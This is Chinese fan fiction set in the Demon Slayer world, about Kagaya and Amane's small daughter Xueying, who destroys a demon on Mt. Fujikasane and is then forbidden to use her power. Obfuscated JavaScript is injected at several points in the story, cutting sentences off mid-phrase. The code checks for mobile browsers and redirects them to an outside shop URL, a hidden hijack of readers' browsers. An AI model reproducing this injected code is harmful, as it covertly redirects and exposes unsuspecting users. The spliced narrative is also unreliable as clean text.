天音没有说话。 雪萤忽然站起来,朝她喊: “娘亲,上来!快上来!” 她喊得很大声,声音在雪地里传出去很远。 天音愣住了。 那一声喊里,有什么东西,轻轻落在她心上。 像是有一双看不见的手,在推着她,在催着她,在告诉她:上去吧,孩子在等你。 她忽然觉得,身体好像没那么冷了。 —— “娘亲!”雪萤又喊,声音里带着哭腔,“你快上来!不上来雪萤要哭了!” 她的小脸皱成一团,眼眶红红的,嘴巴瘪着,一副马上就要哭出来的样子。 天音看着她,心软得一塌糊涂。 她正要迈步,忽然听见雪萤又说: “娘亲,擦干净,穿衣服。” 还是那个稚嫩的嗓音,还是那个四岁的小丫头。 可话音刚落,一阵风忽然吹过。 那风不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她睡得很香,小脸红扑扑的,嘴巴微微张着,露出两颗小白牙。一只手攥着被子角,一只手伸在外面,五根小手指头蜷着,像握着什么。 耀哉伸出手,轻轻把那只小手塞回被子里。 “雪萤。”他轻声唤她的名字。 她当然听不见。 可她翻了个身,往他们这边拱了拱,像小动物找温暖一样。 天音忍不住笑了。 耀哉也笑了。 “她才四岁。”天音说,“就知道心疼娘亲了。” 耀哉点点头。 “她是我们的孩子。”他说,“自然像我们。” 天音靠在他肩上,看着那个小小的身影,心里又软又暖。 窗外,雪还在落。 可屋里,很暖。 —— 那个四岁的孩子,什么都不知道。 不知道母亲为她做了什么,不知道母亲爱父亲有多深,不知道自己那一喊、那一句、那阵风,意味着什么。 她只知道,娘亲上来了。 娘亲不冷了。 娘亲抱着她。 那就够了。 5. 山影 雪萤五岁那年的秋天,发现爹爹的眉头皱得比以前更深了。 她趴在书房门口,从门缝里偷偷往里看。耀哉坐在案前,面前堆着厚厚的纸卷,手里握着笔,一会儿写,一会儿停。停的时候,眉头就皱起来,眉心那里挤出几道深深的纹路。 有时候他会轻轻咳嗽一声,压得很低,像是怕被人听见。 雪萤听见那咳嗽声,心里就揪一下。 她想了很久,想弄清楚爹爹到底在忙什么。 可是每次她问,耀哉就会摸摸她的头,笑着说:“没什么,爹爹只是有些事要处理。” 大人总是这样。什么都不说。 —— 那段时间,雪萤发现了一件好玩的事。 有一天她和耀哉玩捉迷藏。她躲在柜子后面,捂住嘴,不让自己笑出声。耀哉在屋里找了一圈,竟然没找到她。 “雪萤?你在哪儿?” 她憋着笑,不说话。 耀哉又找了一圈,还是没找到。最后他站在屋子中央,轻轻笑了。 “爹爹认输了。出来吧。” 雪萤这才从柜子后面钻出来,笑得眼睛弯成月牙。 “爹爹找不到我!” 耀哉蹲下来,把她抱起来,脸上带着笑意,可眼睛里有一点疑惑。 “雪萤藏得真好。”他说,“爹爹竟然一点都没感觉到你在那儿。” 雪萤歪着头,不太明白他说的“感觉到”是什么意思。 后来她又试了几次。每次藏起来的时候,只要她安安静静地待着,耀哉就真的找不到她。 她为此沾沾自喜过。 可她不知道,那意味着什么。 —— 那天下午,雪萤做了一个决定。 她要偷偷跟着爹爹,看看他到底在忙什么。 耀哉出门的时候,她悄悄跟在后面。她放轻脚步,屏住呼吸,把自己藏在廊柱后面、树丛后面、墙角的阴影里。 耀哉一次都没有回头。 雪萤心里有点得意。爹爹真的发现不了她。 —— 耀哉走到一间很大的屋子里。 那屋子雪萤从没进去过。她从门缝往里看,看见里面站着好多人。 不对,不是站着。是跪着。跪成几排,低着头,一动不动的。 耀哉走到屋子最前面,转过身,面向那些人。 雪萤躲在门后,从门缝里看。 她看见爹爹站在那里。他穿着一身深色的衣服,深蓝色的齐耳短发,脸上的纹路在烛光下若隐若现。可他的腰背挺得很直,直得像一棵树。 他的声音响起,低沉,温柔,却有一种说不出的力量: “你们能来到这里,说明你们已经完成了培育师的修行。从今天起,你们将面对真正的考验。” 雪萤听不太懂他说的话。可她听着那个声音,就觉得安心。 她看着那些人跪在下面,一动不动地听爹爹说话。那么多的人,都听着爹爹一个人的声音。 爹爹好厉害。 她忽然觉得,爹爹站在那里,像一座山。 —— 耀哉继续说着: “藤袭山内,囚禁着鬼杀队多年抓捕的鬼。山脚到半山腰开满紫藤花,那是鬼最厌恶的东西,所以他们无法逃出。” “你们的任务很简单——在里面存活七天。七天后,活着走出山门的人,就算合格。” 下面那些人里,有几个微微动了一下。 耀哉的声音依然平静: “每年都有很多人进去,每年都有很多人出不来。这就是你们要走的路。” “如果现在有人想退出,可以。门在那里。” 没有人动。 耀哉轻轻点了点头。 “那就去吧。七天后,我在这里等你们。” —— 那些人站起来,一个一个走出屋子。 雪萤躲在暗处,看着他们的背影消失在门外。有高有矮,有胖有瘦,有的看起来比她也大不了多少。 她不知道他们要去哪里。 可她听懂了爹爹的话——有人出不来。 她忽然有点害怕。 可她又看着爹爹站在那里,脸上还是那种温柔又坚定的神情,心里的害怕就散了一点。 爹爹在保护这些人。 爹爹在保护很多人。 她忽然想,以后她也要像爹爹一样。保护那些需要保护的人,帮爹爹分担那些让他皱眉的事。 —— 可她还太小。 她不知道,她躲的那个角落,有一个小小的门,通向外面。 她更不知道,那扇门后面,是什么地方。 她只是往后退了一步。 然后她发现自己站在一片陌生的地方。 —— 四周全是雾。 灰白色的、厚厚的雾,像是把整个世界都裹住了。看不见天,看不见地,看不见来时的路。 那雾不是普通的雾。它有一股腥甜的味道,像什么东西烂掉了,又像什么花开得太浓。雾里混着一种说不清的湿气,黏糊糊的,落在皮肤上,让人起鸡皮疙瘩。 雪萤愣住了。 她回头,想找那扇门。可门不见了。身后只有雾,和更多看不见的东西。 她往前走了一步。 脚下是软的。不是木板,是腐烂的落叶,是潮湿的泥土,是不知道积了多少年的腐殖质。每走一步,脚都会往下陷一点点,拔出来的时候会发出轻轻的“啵”的一声。 四周安静得可怕。 没有风声,没有鸟叫,什么都没有。 只有雾。浓得化不开的雾。 —— 雪萤开始害怕了。 “爹爹……”她小声喊。 没有人回答。 她又喊了一声,声音大了点: “爹爹!” 还是没有人。 雾太厚了,把她的声音也吞掉了。 —— 她站在原地,不敢动。 然后,她听见一个声音。 沙沙。沙沙。沙沙。 像什么东西在地上爬。很慢,很黏,一点一点靠近。 雪萤屏住呼吸。 雾里亮起两盏灯。 绿色的。像猫的眼睛。可猫没有这么大的眼睛。 那两盏灯越来越近。雾在它们面前慢慢散开,露出一张脸。 一张不该存在于人间的脸。 皮肤是青灰色的,皱巴巴的,像泡了太久的烂布。没有头发,头顶坑坑洼洼,有几个凸起的包。两只眼睛像灯笼一样挂在脸的上半部分,瞳孔是竖着的,像蛇。 没有鼻子,只有两个黑洞。嘴巴从左边耳朵根裂到右边耳朵根,嘴唇烂得翻起来,露出里面参差不齐的牙——黄的,黑的,尖的,有的还挂着碎肉。 它在笑。 “孩……子……” 那声音从烂掉的喉咙里挤出来,沙哑得像碎玻璃在铁板上刮。 “好久……好久……没吃过……这么小的……孩子了……” 它围着雪萤转圈。 雪萤浑身僵住,一步也动不了。 那东西一边转,一边凑近她,用那个没有鼻子的脸在她头顶嗅着。腥臭的气息喷在她脸上,熏得她几乎要吐。 “还是个……漂亮的小丫头……”它的声音变得黏腻起来,像口水含在嘴里,“细皮嫩肉的……骨头都是脆的……咬起来咯吱咯吱响……” 口水从它烂掉的嘴角流下来,黏糊糊的,滴在雪萤旁边的地上。一滴,两滴,三滴。 它又转了一圈,把脑袋凑到她脸前面,那两只绿色的眼睛盯着她,瞳孔兴奋地收缩着。 “害怕了?害怕了好……害怕了的肉……是酸的……但也好吃……” 雪萤的眼泪涌出来,浑身抖得像风里的叶子。 可她没有哭出声。她只是抖,拼命地抖。 那东西又凑近了一点,伸出舌头——那舌头又长又细,是黑色的,上面长着倒刺——想舔她的脸。 —— “不……” 雪萤的嘴唇动了动,声音小得像蚊子。 “不要……不要过来……” 她不知道自己说了什么。只是害怕到了极点,本能地从喉咙里挤出来的声音。 那东西的舌头顿住了。 它发现自己无法再靠近她。 明明只差一点就能舔到那张小脸,可那一点距离,怎么也跨不过去。像是有一堵看不见的墙,挡在它和这孩子之间。 它愣住了。 然后它愤怒了。 “什么……什么东西?!” 它朝她扑过去,用尽全身的力气。 砰。 它被弹回来,摔在地上。 它爬起来,又扑。 砰。 再摔。 它的眼睛变得血红,嘴里发出野兽一样的嘶吼:“让我吃!让我吃了她!我饿了!我饿了五十年!” 雪萤看着它一次次扑过来,一次次被弹回去,看着它那张烂掉的脸扭曲成疯狂的样子。 她的眼泪流了满脸,浑身都在抖。 可她听见自己嘴里,又说出了一句话: “消失吧。” 轻飘飘的,像是说给风听的。 —— 那东西忽然停住了。 它低下头,看着自己的身体。 青灰色的皮肤,从边缘开始,一点一点变成白色。不是变白,是变成雪的颜色,变成雾的颜色,变成—— 灰烬的颜色。 “什……什么……” 它想喊,可嘴巴刚张开,就散开了。 整个人——整只鬼——像一堆被风吹散的雪花,飘散在雾气里。 什么都没有剩下。 只有那股腥臭的味道,还在空气里,慢慢变淡。 —— 雪萤站在那里,看着那堆飘散的东西。 然后她的眼前一黑。 她倒了下去,蜷缩在地上。深蓝色的长发被汗水和泪水打湿,一缕一缕贴在脸上、脖子上。小脸惨白,嘴唇没有一丝血色,睫毛上还挂着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这附近,一只鬼都没有。 这不对。藤袭山里到处都是鬼,饿了很久的鬼,怎么可能放过这么一个毫无防备的小东西? 他站起身,又仔细扫了一圈。 还是没有。 所有的鬼,都不见了。 不对。不是不见了。是—— 他的目光落在不远处的地上。 那里有一小堆灰白色的东西,像是烧过的纸,又像是飘落的雪,正在被风吹散。 他蹲下来,用指尖碰了碰。 灰。 鬼的灰。 —— 宇髄僵住了。 他缓缓转过头,看着地上那个昏迷的孩子。 她蜷在那里,小小的,软软的,惨白的小脸上还挂着泪痕。嘴唇发青,睫毛颤抖,像是做了噩梦。 可她旁边,有鬼的灰。 很多鬼的灰。 ——她做了什么? ——她怎么可能做到? ——她才五岁! 他抱起她,转身就跑。 她好轻。轻得像一团云。软软地窝在他怀里,脑袋靠在他肩上,深蓝色的头发垂下来,一晃一晃的。 他一边飞奔,一边低头看她。 这个小姑娘。 主公的女儿。 她刚才……做了什么? 他想起那些灰,想起这片区域干干净净没有一只鬼的诡异场景。 那是什么力量? 他见过很多厉害的剑士,见过柱们斩杀恶鬼,见过用血鬼术的战斗,见过无数生死一线的瞬间。 可他从来没见过,一个五岁的孩子,能让鬼灰飞烟灭。 连刀都没有。 连呼吸法都没有。 只是……站在那里? —— “喂喂,”他忍不住自言自语,“不得了啊。” 怀里的小姑娘动了动,嘴里咕哝了一句什么。 宇髄低头看着她。 “你知不知道,你刚才干了什么?”他轻声说,“那种力量……简直比柱还可怕。” 小姑娘当然没有回答。 他把她抱得更紧了一点,继续飞奔。 “主公的女儿果然不一样。”他在心里想,“以后……以后这丫头,说不定能改变一切。” 他想起耀哉那个失态的样子,想起那个男人颤抖的声音。 他又低头看了一眼怀里的孩子。 “喂,小丫头,”他轻声说,“你可要好好活着。你爹爹还在等你。” 风吹过他的脸。 他加快了速度。 ——身后,藤袭山的雾,还在慢慢散去。 6. 掌心 第六章掌心 雪萤躺在榻上,睡得很沉。 小脸还是白的,嘴唇也没有恢复血色。深蓝色的长发被天音细细梳理过,服帖地散在枕上,衬得那张小脸越发小了。睫毛偶尔颤一下,像是做了什么不好的梦。 耀哉坐在榻边,握着她的手。 那只小手冰凉冰凉的,软软地躺在他掌心里。他握得很轻,像握着什么一碰就会碎的东西。 他想咳嗽,喉咙发痒。可他压着,一下一下,压回胸腔里。 不能吵醒她。 她才刚睡着。 —— 一个时辰前,宇髄天元把她抱回来的时候,耀哉觉得自己这辈子从来没有那样害怕过。 他站在门口,看着那个高大的忍者飞奔而来,怀里抱着一个小小的身影。那身影软软地垂着,一动不动。 那一瞬间,他的心跳停了。 然后他看清了——她在呼吸。胸口一起一伏。 他冲过去,把她接过来,抱进怀里。 那么轻。那么软。那么冰。 “主公,”宇髄的声音在旁边响起,“她没事。只是晕过去了。” 耀哉没有说话。他只是抱着她,把脸贴在她冰凉的额头上,闭上眼睛。 天音站在他身后,捂住嘴,眼泪无声地流下来。 —— 后来,宇髄跟着他到了隔壁的房间。 门关上后,这个一向张扬的忍者,难得地压低了声音: “主公,有件事……我必须告诉您。” 耀哉看着他。 “我在山里找到她的时候,”宇髄说,眼神里有一种奇异的光,“她周围……一只鬼都没有。” 耀哉的手微微收紧。 “不是没有。”宇髄说,“是死了。灰飞烟灭。我亲眼看见那些灰——很多,一堆一堆的。” 耀哉没有说话。 宇髄深吸一口气,声音里压着激动: “主公,那孩子才五岁。没有刀,没有呼吸法,什么都没用。可她让那些鬼消失了。那种力量……那种力量……” 他上前一步,压低声音: “那孩子,会是我们的希望。是鬼杀队的希望。是——” “天元。” 耀哉开口了。 声音很轻,可那轻里,有一种不容置疑的力量。 宇髄停住了。 耀哉看着他,目光沉静如水。 “今天的事,不要说出去。” 宇髄愣住了。 “主公?” “不要告诉任何人。”耀哉说,“悲鸣屿、炼狱、任何人。就当你没有看见。” 宇髄张了张嘴,想说点什么,可对上耀哉那双眼睛,又咽了回去。 那双眼睛里,没有喜悦,没有激动,只有一种他看不透的——深的东西。 “天元,”耀哉的声音低下来,“我不知道那种力量会让她承受什么。” 宇髄沉默了。 “产屋敷家的人,得到什么,就会失去什么。”耀哉说,“这是千年的诅咒。” 他顿了顿,目光投向窗外,投向那个雪萤躺着的房间的方向。 “我不管她有多大的力量,能成为什么希望。”他说,“我只想让她好好活着。活在阳光下,像一个普通的孩子那样。” 宇髄看着他。 这个年轻的主公,脸上还带着病容,眼下的青黑遮都遮不住。他刚才失态过,害怕过,抱着女儿的时候手都在抖。 可此刻,他说这些话的时候,平静得像在说一件再普通不过的事。 宇髄忽然有点明白了。 这不是主公在说话。 是一个父亲。 “我知道了。”他低声说,“我不会说出去的。” 耀哉点了点头。 “去吧。” —— 宇髄走到院子里的时候,遇见了悲鸣屿行冥。 那个高大的僧人站在廊下,面向雪萤房间的方向,一动不动。他的眼睛闭着,可脸上有泪痕。 宇髄走过去,站在他身边。 “……喂。”他开口。 悲鸣屿没有动。 宇髄看着他脸上那两道泪痕,一阵无语。 “你这家伙,”他忍不住说,“又哭什么?” 悲鸣屿缓缓转过头,面向他。 “她没事?”他的声音低沉沙哑。 “没事。晕过去了,主公在守着她。” 悲鸣屿的眼泪又流了下来。 宇髄:“……” 他深吸一口气,决定换个话题。 “我说,你认识那孩子吧?” 悲鸣屿点点头。 “她是个怎样的女孩?” 悲鸣屿沉默了一会儿,从怀里掏出一块小手帕。 浅蓝色的,角上绣着一朵小小的雪花。叠得整整齐齐的。 宇髄看着那块手帕,愣住了。 “那是……” “她给贫僧的。”悲鸣屿说,用那块手帕擦了擦眼泪,“第一次见面的时候,她牵着贫僧的手,给贫僧带路。她说,你眼睛看不见,走一次记不住的,要多走几次。” 宇髄没有说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444146|201074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话。 “她看见贫僧哭,就跑回去拿手帕。”悲鸣屿的声音有些哑,“她说,哭多了眼睛会疼。” 他把那块手帕小心地叠好,收回怀里。 “多么美丽纯洁的心灵啊。”他说,眼泪又流下来,“她是我见过最可爱的小姑娘。她会牵住你的手,带你走出阴霾。” 宇髄听着,忽然不知道该说什么。 他想起那个蜷缩在地上的小小身影。想起那些鬼的灰。想起那张惨白的小脸和湿透的头发。 那个孩子,刚才经历了什么? 她第一次见到鬼吧。 那么可怕的东西,那么恶心的东西,对着她流口水,想吃掉她。 她一定害怕极了。 —— 宇髄转头,望向雪萤房间的方向。 灯光从窗纸透出来,暖暖的,昏昏的。 那个孩子现在躺在里面,有爹爹守着,有娘亲陪着。 还好。 还好她没事。 —— 他忽然想起刚才在山里看见的那些灰。 想起那个小小的身影蜷缩在地上的样子。 想起她那么轻,那么软,窝在他怀里一动不动的样子。 “喂。”他忽然开口。 悲鸣屿看向他。 宇髄的嘴角勾起一个弧度。 “也许,”他说,“改变一切的力量,就在那个女孩身上。” 悲鸣屿没有说话。 宇髄又望向那个房间。 “果然,”他说,语气里带着他一贯的张扬,“主公生的孩子,也符合我的华丽美学呢!” 悲鸣屿:“……” 他决定不接话。 —— 房间里,雪萤的睫毛动了动。 她迷迷糊糊地睁开眼睛,看见一个模糊的身影坐在身边。 那个身影握着她的手,很暖。 她眨了眨眼睛,慢慢看清了那张脸。 是爹爹。 他的眼睛红红的,可他在对她笑。 雪萤张开嘴,轻轻喊了一声: “爹爹……” 耀哉的手微微一紧。 他俯下身,把她轻轻抱进怀里。 “爹爹在。”他说,声音有些哑,“爹爹一直都在。” 雪萤把脸埋在他怀里,闭上眼睛。 她不知道发生了什么。只知道爹爹抱着她,很暖。 那就够了。 —— 窗外,月光静静地照着。 那个五岁的孩子,在父亲怀里,沉沉睡去。 7. 眼泪 雪萤醒来的时候,窗外的天已经黑了。 她躺在自己熟悉的榻上,盖着那床浅蓝色的小被子,角上绣着一朵小小的雪花。屋里点着一盏灯,烛火昏黄,暖暖的。 她眨了眨眼睛,脑子里慢慢想起一些事情。 雾。很浓的雾。 绿色的眼睛。烂掉的嘴。黏腻的声音说“好久没吃过这么小的孩子了”。 还有口水,滴在地上,一滴一滴。 雪萤的呼吸急促起来。 她闭上眼睛,想忘掉那些画面。可那些画面像黏在脑子里一样,怎么都赶不走。 然后她想起另一件事。 那个怪物朝她扑过来。一次。两次。三次。 然后她说了一句话。 然后那个怪物—— 消失了。 像雪花一样,飘散了。 —— 雪萤睁开眼睛。 她杀了那个怪物。 她把它杀死了。 她忽然有点高兴。不是因为杀了什么东西,是因为——她可以保护自己了。她可以不让那种可怕的东西靠近自己了。 她也可以保护爹爹了吧? —— 门被拉开的声音。 雪萤转过头,看见耀哉走进来。 他坐在她身边,伸出手,摸了摸她的额头。 “醒了?” 雪萤点点头。 耀哉的手很暖。她看着他的脸,忽然有很多话想说出来。 “爹爹。”她开口。 “嗯?” “我看见那个怪物了。”她说,“好可怕。它想吃掉我。它围着转,流口水,眼睛是绿的。” 耀哉的手顿了一下。 “可是爹爹,”雪萤的眼睛亮起来,“我把它杀死了!我说了一句话,它就消失了!像雪花一样飘走了!” 她说着,声音里带着一点小小的得意。 “爹爹,我有那种能力!我可以帮爹爹了!以后有怪物,我——” “雪萤。” 耀哉的声音打断了她。 那声音很轻,可那轻里,有一种她从来没听过的东西。 雪萤愣住了。 她抬起头,看着耀哉的脸。 爹爹的表情,和她见过的任何时候都不一样。眉头皱着,嘴唇抿着,眼睛里——她看不懂那是什么。不是生气,不是难过,是一种她说不出来的东西。 “以后,”耀哉说,一字一句,“不许再用那种能力。” 雪萤呆呆地看着他。 “爹爹?” “不许再用。”耀哉又说了一遍,声音更沉了,“再也不许。” 雪萤的眼眶忽然红了。 她不明白。 她把怪物杀死了。她保护了自己。她可以帮爹爹了。 为什么爹爹要凶她? “可是……可是爹爹……”她的声音开始发抖,“我有那种能力了……我可以帮你……我可以……” “不许用。” 耀哉的声音还是那样沉,没有一丝动摇。 雪萤看着他,眼泪一颗一颗掉下来。 她从来没见过爹爹这个样子。那个总是温柔地笑着、用那种好听的声音叫她名字的爹爹,不见了。 她害怕了。 “爹爹……”她小声喊。 耀哉没有应。 雪萤站起来,光着脚跑出去。 —— “娘亲——!” 雪萤扑进天音怀里,放声大哭。 天音正在厨房里,被她扑得退了一步,然后立刻蹲下来,把她抱紧。 “怎么了?怎么了雪萤?” 雪萤把脸埋在她怀里,哭得上气不接下气。 “爹爹凶我……爹爹凶我……呜呜呜……” 天音愣住了。 她轻轻拍着雪萤的背,等她哭得没那么厉害了,才柔声问: “告诉娘亲,发生什么事了?” —— 雪萤抽抽搭搭地把事情说了一遍。 那个怪物。她把它杀死了。她想告诉爹爹,想帮他。可爹爹凶她,不让她用那种能力。 “为什么……”她抬起头,满脸泪痕,“为什么爹爹要凶我……我把怪物杀死了呀……” 天音看着她,眼眶也有些热。 她伸手,轻轻擦掉雪萤脸上的泪。 “雪萤,”她轻声说,“你知道那个怪物是什么吗?” 雪萤摇摇头。 “那叫‘鬼’。”天音说,“是吃人的怪物。它们喜欢吃人,尤其是小孩子。它们力气很大,跑得很快,有些还会用奇怪的力量。” 雪萤睁大了眼睛。 “这个世界上有很多鬼。”天音继续说,“它们杀死了很多人。很多人的爸爸妈妈、兄弟姐妹,都被它们吃掉了。” 雪萤愣住了。 “那个让你进去的山,叫藤袭山。里面关着很多鬼,不让它们出来害人。”天音的声音很轻,“你今天差点……差点就被它们吃掉了。” 雪萤想起那张烂掉的脸,想起那绿色的眼睛,想起那黏腻的声音说“好久没吃过这么小的孩子了”。 她的身子抖了一下。 “那……那那些鬼……是从哪里来的?”她问。 天音沉默了一会儿。 “有一个叫鬼舞辻无惨的鬼。”她说,“他是所有鬼的始祖。被他咬过的人,会变成鬼,变成吃人的怪物。” 雪萤听着,小手攥紧了天音的衣袖。 “那我们……我们要怎么办?” 天音看着她,目光温柔又悲伤。 “雪萤,你知道你爹爹是做什么的吗?” 雪萤想了想:“别人叫他……主公大人?” “对。”天音说,“他是鬼杀队的主公。鬼杀队,就是专门和鬼战斗的人。他们保护大家,不让鬼害人。” 雪萤的眼睛亮了一下。 “那爹爹好厉害……” “很厉害。”天音说,“可也很辛苦。” 她顿了顿,继续说: “产屋敷家,一千年来,一直在做这件事。一直在和鬼战斗,一直在保护大家。每一代当主,都活不过三十岁。” 雪萤愣住了。 活不过三十岁? 爹爹…… “可是今天,”天音看着她,“你差点被鬼吃掉。你爹爹听到这个消息的时候……” 她说不下去了。 雪萤看着她,等着她继续说。 “雪萤,”天音的声音有些抖,“娘亲从来没见过你爹爹那个样子。他站在那里,脸都是白的,手在抖。他对天元说,把我的女儿带回来。” 雪萤的眼泪又涌了出来。 “你爹爹最怕的,就是失去你。”天音说,“你这次做错了,雪萤。你不该一个人跟着他,不该一个人走进那座山。你差点……差点就回不来了。” 雪萤低下头,眼泪一颗一颗掉在地上。 “可是……可是我只想帮爹爹……”她小声说。 天音把她抱进怀里。 “娘亲知道。”她说,“可你还小。帮爹爹的事,等你长大了再说。现在,你只要好好活着,开开心心的,就够了。” 雪萤趴在她怀里,很久没有说话。 然后她抬起头,眼睛红红的,可那里面有了一点不一样的光。 “娘亲,”她说,“我知道了。” 天音看着她。 “我知道了。”雪萤又说了一遍,“我不该那样做。爹爹是怕我出事。” 天音轻轻笑了,眼泪却流下来。 “好孩子。” —— 那一夜,雪萤睡着后,耀哉没有回房。 他一个人坐在书房里,面前摊着那些永远处理不完的文书,可一个字也看不进去。 烛火跳动,把他的影子投在墙上,很长很长。 他想起白天的事。想起宇髄抱着雪萤回来的那一幕。想起她蜷在地上、小脸惨白的样子。想起她醒来后,眼睛亮亮地跟他说“我把怪物杀死了”的样子。 然后想起自己凶她的样子。 他低下头,用手捂住脸。 —— 窗外,月光很亮。 他抬起头,望向那轮明月。 明月。千年来,多少人在这轮月亮下死去。多少人在这轮月亮下变成鬼。多少人在这轮月亮下,再也见不到明天的太阳。 而那个人——那个千年前本该和他同族的人——也在同一轮月亮下,活了千年。 鬼舞辻无惨。 耀哉轻轻念出这个名字,每一个字都像从牙缝里挤出来的。 他知道无惨。 从他记事起,就知道。 父亲告诉他,产屋敷家有一个永远不能忘记的名字。母亲在禊祓时,念的每一句祝词里,都藏着对那个名字的诅咒。 无惨。 鬼的始祖。吃人的怪物。产屋敷一族千年来的污点。 也是让他活不过三十岁的根源。 —— 耀哉低下头,看着自己的手。 那双手,已经不像十三四岁时那样干净了。红色的纹路从袖口里延伸出来,爬在手背上,像一道道裂开的伤口。 他知道再过几年,这些纹路会爬到脸上、脖子上、全身。然后他的眼睛会看不见,喉咙会烂掉,最后—— 他活不过三十岁。 这是产屋敷家的诅咒。 是无惨留给他们的“礼物”。 —— 可他不怕这个。 他怕的是另一件事。 他怕自己等不到那一天。 他怕自己还没来得及消灭无惨,就先死了。 他更怕—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谁来保护天音?谁来保护那些把命托付给他的人? 谁来……消灭无惨? —— 他低下头,拿起笔,继续处理那些文书。 可他的手,微微有些抖。 —— 不知过了多久,门被轻轻拉开。 天音走进来,手里端着一碗热汤。 “还没睡?” 耀哉摇摇头。 天音把汤放在他面前,在他身边坐下。 “在想什么?” 耀哉沉默了一会儿。 “在想无惨。”他说。 天音的手微微一顿。 “今天的事,”耀哉说,“让我想起他。” 天音没有说话。 “那个孩子,拥有那样的力量。”耀哉的声音很轻,“如果无惨知道……” “他不会知道的。”天音说。 “如果他知道呢?” 天音看着他。 “如果他找到她呢?”耀哉转过头,看着她,“如果有一天,雪萤遇见他呢?” 天音沉默了很久。 然后她伸出手,握住他的手。 “耀哉,”她轻声说,“雪萤是我们的女儿。她身上流着产屋敷的血,也流着神官一族的血。她比我们想象的,更坚强。” 耀哉看着她。 “你今天凶她,她哭了。可她后来来找你了。”天音说,“她说,雪萤来看你。她说,爹爹不凶,雪萤以后听话。” 耀哉的眼眶有些热。 “她知道你爱她。”天音说,“她知道你是为她好。” 耀哉低下头,没有说话。 天音靠在他肩上。 “我们会保护她的。”她说,“你和我,一起。” 耀哉沉默了很久。 然后他轻轻点了点头。 —— 窗外,月光静静地照着。 两个人坐在灯下,靠在一起,望着那轮明月。 那月亮,无惨也在看着。 可此刻,他们不去想那个。 他们只想着那个睡着的孩子。 那个明天醒来,又会跑来喊“爹爹”的孩子。 那个让他们愿意拼尽一切去保护的孩子。 —— 耀哉忽然开口: “天音。” “嗯?” “谢谢你。” 天音愣了一下。 “谢谢你嫁给我。”他说,“谢谢你给我雪萤。” 天音的眼眶红了。 她没有说话。只是把他握得更紧了一些。 —— 远处,雪萤的房间里,那个小小的身影翻了个身,嘴里嘟囔了一句什么。 “爹爹……” 她喊了一声,又沉沉睡去。 月光从窗外照进来,落在她脸上。 很暖。 8. 五瓣儿 天音又要生宝宝了。 这个消息是大夫亲口说的。那个留着长长胡须的老头,把完脉之后,抬起头,一脸不可思议地说: “夫人肚子里……是五胞胎。” 雪萤当时正趴在门边偷听。 她听见这句话,愣了一愣,然后“哇”的一声叫出来,冲进屋里。 “五胞胎!”她跑到天音身边,眼睛瞪得圆溜溜的,“娘亲,是五个宝宝吗?真的五个吗?” 天音被她那副模样逗笑了,伸手摸了摸她的头。 “大夫是这么说的。” 雪萤低下头,看着天音那已经很大的肚子,嘴巴张成了一个小小的圆。 “五个……”她念叨着,“娘亲的肚子,怎么装得下五个宝宝呀?” 大夫在一旁摸着胡子笑:“装得下装得下。等生出来你就知道了。” 雪萤还是一脸不可思议。 她伸出小手,轻轻摸了摸天音的肚子,然后又把自己的脑袋贴上去听。 “他们在里面挤不挤呀?”她问,“会不会打架呀?” 天音笑得肩膀直抖。 “不会的。”她说,“他们在等姐姐呢。” —— 从那以后,雪萤每天晚上都会来。 她搬个小凳子,坐在天音身边,把脸凑到肚子前,开始“讲话”。 “弟弟妹妹们,”她用那种一本正经的口气说,“我是你们的姐姐,叫雪萤。你们出来以后要叫我姐姐,知道吗?” 肚子里面没有动静。 雪萤也不在意,继续说: “姐姐会很疼你们的。好吃的分给你们,好玩的也分给你们。你们要听话,不能哭,不能闹,不能惹娘亲生气。” 她想了想,又补充道: “惹姐姐也不行。” 天音在一旁听着,笑得肩膀直抖。 雪萤回头看了她一眼,小脸严肃:“娘亲别笑,我在教育他们。” “好好好。”天音忍住笑,“你继续。” 雪萤转回头,继续对着肚子说: “我们家有个很大的院子,里面有梅树,有花,还有蚂蚁。等你们长大了,姐姐带你们去捉蚂蚁,姐姐还能教你们读书、写字。” “对了,爹爹的声音特别好听。你们出来以后就知道了。每次爹爹说话,你们就不哭了。” 她絮絮叨叨地说着,把每天发生的事情都讲一遍。今天吃了什么,学了什么,院子里有什么变化,爹爹今天有没有笑。 讲完了,她就会把小手放在天音的肚子上,轻轻摸一摸。 “你们要乖乖的。”她说,“姐姐在外面等你们。” —— 有一天晚上,她讲完了今天的事,忽然抬起头,看着天音。 “娘亲,”她的声音有点小,“我可以跟他们说……那个东西吗?” 天音愣了一下。 “什么?” 雪萤垂下眼睛,睫毛颤了颤。 “就是……那个东西。”她小声说,“山里的那个。吃人的那种。” 天音沉默了一会儿。 她当然知道雪萤说的是什么。 那件事过去三年了。雪萤再也没有提起过。可天音知道,那个记忆一直留在她心里。 “可以。”天音轻声说。 雪萤抬起头。 “真的?” 